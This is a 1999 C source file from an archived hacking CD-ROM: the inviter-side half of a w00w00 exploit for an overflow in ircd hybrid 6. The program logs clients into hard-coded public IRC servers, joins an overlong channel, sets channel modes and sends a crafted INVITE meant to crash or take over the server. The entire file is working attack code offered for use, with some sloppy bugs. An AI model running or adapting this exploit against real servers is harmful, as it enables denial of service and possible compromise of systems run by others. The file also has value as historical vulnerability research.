home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / ircdexp / inviter / ircdexp.c < prev   
Encoding:
C/C++ Source or Header  |  1999-08-10  |  7.4 KB  |  283 lines

  1. /*
  2.  * ircd hybrid 6 exploit (inviter side)
  3.  * Copyright (C) May 1999, Matt Conover & w00w00 Security Team
  4.  *
  5.  * When a channel is +pi with more than one op in it, it will send a
  6.  * message to all other ops in the the channel with the following format:
  7.  *     INVITE: %s (%s invited %s [%s@%s])
  8.  *
  9.  * The steps to exploit this are as follows (requires 3 clients):
  10.  *     1. Client A (9chars!10chars@trivial) joins #199chars
  11.  *     2. Client B (trivial!trivial@trivial) joins #199chars
  12.  *     3. Client A sets mode #199chars +pio Client B
  13.  *     4. Client A invites Client C (9chars!10chars@58chars) to #199chars
  14.  *
  15.  * The code on the invitee's side is done separately.
  16.  */
  17.  
  18. #include <stdio.h>
  19. #include <unistd.h>
  20. #include <stdlib.h>
  21. #include <errno.h>
  22. #include <string.h>
  23. #include <sys/types.h>
  24. #include <sys/socket.h>
  25. #include <netinet/in.h>
  26. #include <netdb.h>
  27.  
  28. #define SAME 0
  29. #define ERROR -1
  30. #define BUFSIZE 512
  31.  
  32. #define HOSTLEN 63
  33. #define CHANLEN 200
  34.  
  35. /* NOTE: This code is not pretty, but tracking 3 clients isn't either. */
  36.  
  37. struct servstruct {
  38.    char *server;
  39.    int port;
  40. };
  41.  
  42. struct servstruct server[2] = {
  43.    { "irc.arpa.com", 6667 },
  44.    { "irc.freei.net", 6667 }
  45. };
  46.  
  47. char nick[3][10] = {
  48.    "clientaaa",
  49.    "clientbbb",
  50.    "clientccc"
  51. };
  52.  
  53. int sockfd[2];
  54.  
  55. char srchost[HOSTLEN+1];
  56. char channel[CHANLEN+1];
  57. char readbuf[BUFSIZE], writebuf[BUFSIZE];
  58.  
  59. struct sockaddr_in servsin;
  60.  
  61. /* ---------------------------------------- */
  62.  
  63. void exploit();
  64. void checkerrors();
  65. void makeconn(int fd, char *nick, char *host, int port);
  66.  
  67. char *inet_ntoa(struct in_addr in);
  68.  
  69. int main(int argc, char **argv)
  70. {
  71.    register int clients;
  72.    struct hostent *hostent;
  73.  
  74.    if (gethostname(srchost, HOSTLEN) == ERROR)
  75.    {
  76.       fprintf(stderr, "error with gethostname(): %s\n", strerror(errno));
  77.       fprintf(stderr, "continuing anyway.. but likely won't work\n");
  78.  
  79.       strcpy(srchost, "UNKNOWN");
  80.    }
  81.  
  82.    for (clients = 0; clients < 2; clients++)
  83.    {
  84.       hostent = gethostbyname(server[clients].server);
  85.       if (hostent == NULL)
  86.       {
  87.          fprintf(stderr, "gethostbyname() error (client %d): ",
  88.                  clients, strerror(h_errno));
  89.  
  90.          exit(ERROR);
  91.       }
  92.  
  93.       servsin.sin_family = AF_INET;
  94.       servsin.sin_port = htons(server[clients].port);
  95.       memset(&servsin.sin_zero, 0, sizeof(servsin.sin_zero));
  96.       memcpy(&servsin.sin_addr, hostent->h_addr, hostent->h_length);
  97.  
  98.       sockfd[clients] = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
  99.      
  100.       makeconn(sockfd[clients], nick[clients], 
  101.                server[clients].server, 
  102.                server[clients].port);
  103.    }
  104.  
  105.    printf("Calling exploit()..\n");
  106.    exploit();
  107.  
  108.    printf("All exploit work has been completed.\n");
  109.    for (clients = 0; clients < 3; clients++) close(sockfd[clients]);
  110.    return 0;
  111. }
  112.  
  113.  
  114. /* connect and login to irc server */
  115. void makeconn(int fd, char *nick, char *host, int port)
  116. {
  117.    register int clients;
  118.  
  119.    printf("Connecting to %s (%s) [port %d] as:\n%s!%s@%s\n\n", 
  120.           host, (char *)inet_ntoa(servsin.sin_addr), port, nick,
  121.           "AAAAAAAAAA", srchost);
  122.  
  123.    if (connect(fd, (struct sockaddr *)&servsin, 
  124.                sizeof(struct sockaddr_in)) == ERROR)
  125.    {
  126.       fprintf(stderr, "error connecting to %s: %s\n", 
  127.               host, strerror(errno));
  128.  
  129.       exit(ERROR);
  130.    }
  131.  
  132.    memset(readbuf, 0, sizeof(readbuf));
  133.    memset(writebuf, 0, sizeof(writebuf));
  134.  
  135.    snprintf(writebuf, BUFSIZE-1, "NICK %s\n", nick);
  136.  
  137.    printf("Sending NICK info for %s\n", nick);  
  138.    if (send(fd, writebuf, strlen(writebuf), 0) == ERROR)
  139.    {
  140.       fprintf(stderr, "error with send() (%s): %s\n",
  141.               nick, strerror(errno));
  142.  
  143.       for (clients = 0; clients < 2; clients++) close(sockfd[clients]);
  144.       exit(ERROR);
  145.    }
  146.  
  147.    snprintf(writebuf, BUFSIZE-1, "USER AAAAAAAAAA none none :w00w00\n");
  148.  
  149.    printf("Sending USER info for %s\n", nick);
  150.    if (send(fd, writebuf, strlen(writebuf), 0) == ERROR)
  151.    {
  152.       fprintf(stderr, "error with send() (%s): %s\n",
  153.               nick, strerror(errno));
  154.  
  155.       for (clients = 0; clients < 2; clients++) close(sockfd[clients]);
  156.       exit(ERROR);
  157.    }
  158.  
  159.    sleep(5); /* make sure we give sockbuf enough time to fill up */
  160.  
  161.    if (clients < 2)
  162.    {
  163.       channel[0] = '#';
  164.       memset(channel+1, 'A', CHANLEN-1);
  165.       channel[CHANLEN] = '\0';
  166.  
  167.       memset(writebuf, 0, sizeof(writebuf));
  168.       snprintf(writebuf, BUFSIZE-1, "JOIN %s\n", channel);
  169.  
  170.       printf("\n[%s] /JOIN'ing channel\n", nick);
  171.  
  172.       if (send(fd, writebuf, strlen(writebuf), 0) == ERROR)
  173.       {
  174.          fprintf(stderr, "error with send() (client %d): %s\n",
  175.                  clients, strerror(errno));
  176.  
  177.          for (clients = 0; clients < 2; clients++) close(fd);
  178.          exit(ERROR);
  179.       }
  180.    }
  181.  
  182.    printf("\n[Client %d] Checking for login errors...\n", clients);
  183.    checkerrors();
  184.    printf("[Client %d] Successfuly logged in\n\n", clients);
  185. }
  186.  
  187.  
  188. /* check for errors in login */
  189. void checkerrors()
  190. {
  191.    char *ptr; 
  192.    int res = ERROR;
  193.    register int clients;
  194.  
  195.    for (clients = 0; clients < 2; clients++)
  196.    {
  197.       while (res == sizeof(readbuf) - 1)
  198.       {
  199.          res = recv(sockfd[clients], readbuf, sizeof(readbuf)-1, 0);
  200.          if (res == ERROR)
  201.          {
  202.             fprintf(stderr, "error reading socket (client %d): %s\n",
  203.                     clients, strerror(errno));
  204.  
  205.             for (clients = 0; clients < 2; clients++)
  206.                 close(sockfd[clients]);
  207.  
  208.             exit(ERROR);
  209.          }
  210.  
  211.          else
  212.          {
  213.             if (clients == 0)
  214.             {
  215.                ptr = strstr(readbuf, "hybrid-");
  216.                if ((ptr != NULL) && (strncmp(ptr, "hybrid-6", 8) != SAME))
  217.                {
  218.                   fprintf(stderr, "ERROR (client %d): "
  219.                           "the server must be a hybrid-6 ircd\n",
  220.                           clients);
  221.  
  222.                   for (clients = 0; clients < 2; clients++) 
  223.                       close(sockfd[clients]);
  224.  
  225.                   exit(ERROR);
  226.                }
  227.             }
  228.  
  229.             ptr = strstr(readbuf, ":ERROR");
  230.             if (ptr != NULL)
  231.             {
  232.                fprintf(stderr, "error with irc server (client %d):\n%s\n",
  233.                        clients, ptr);
  234.  
  235.                for (clients = 0; clients < 3; clients++) 
  236.                    close(sockfd[clients]);
  237.  
  238.                exit(ERROR);
  239.             }
  240.          }
  241.       }
  242.    }
  243. }
  244.  
  245. /* main part of program */
  246. void exploit()
  247. {
  248.    register int clients;
  249.  
  250.    memset(writebuf, 0, sizeof(writebuf));
  251.    snprintf(writebuf, BUFSIZE-1, "MODE %s +ipo %s\n", channel, nick[1]);
  252.  
  253.    printf("%s will now attempt to set channel modes\n", nick[0]);
  254.  
  255.    /* Client A sets modes and ops Client B */
  256.    if (send(sockfd[0], writebuf, strlen(writebuf), 0) == ERROR)
  257.    {
  258.       fprintf(stderr, "error with send(): %s\n", strerror(errno));
  259.  
  260.       for (clients = 0; clients < 2; clients++) close(clients[sockfd]);
  261.       exit(ERROR);
  262.    } 
  263.  
  264.    sleep(3), checkerrors(); /* check to see if we had a race condition */
  265.  
  266.    printf("\nAttempting to invite %s (the final item)..\n", nick[2]);
  267.    memset(writebuf, 0, sizeof(writebuf));
  268.    snprintf(writebuf, BUFSIZE-1, "INVITE %s %s\n", nick[2], channel);
  269.  
  270.    /* ircd ownage/crash will occur during after this send() */
  271.    if (send(sockfd[0], writebuf, strlen(writebuf), 0) == ERROR)
  272.    {
  273.       fprintf(stderr, "error with send() (client %d): %s\n",
  274.               clients, strerror(errno));
  275.  
  276.       for (clients = 0; clients < 2; clients++) close(sockfd[clients]);
  277.       exit(ERROR);
  278.    }
  279.  
  280.    /* should have stopped/crashed on server-side by now */
  281.    checkerrors(); 
  282. }
  283.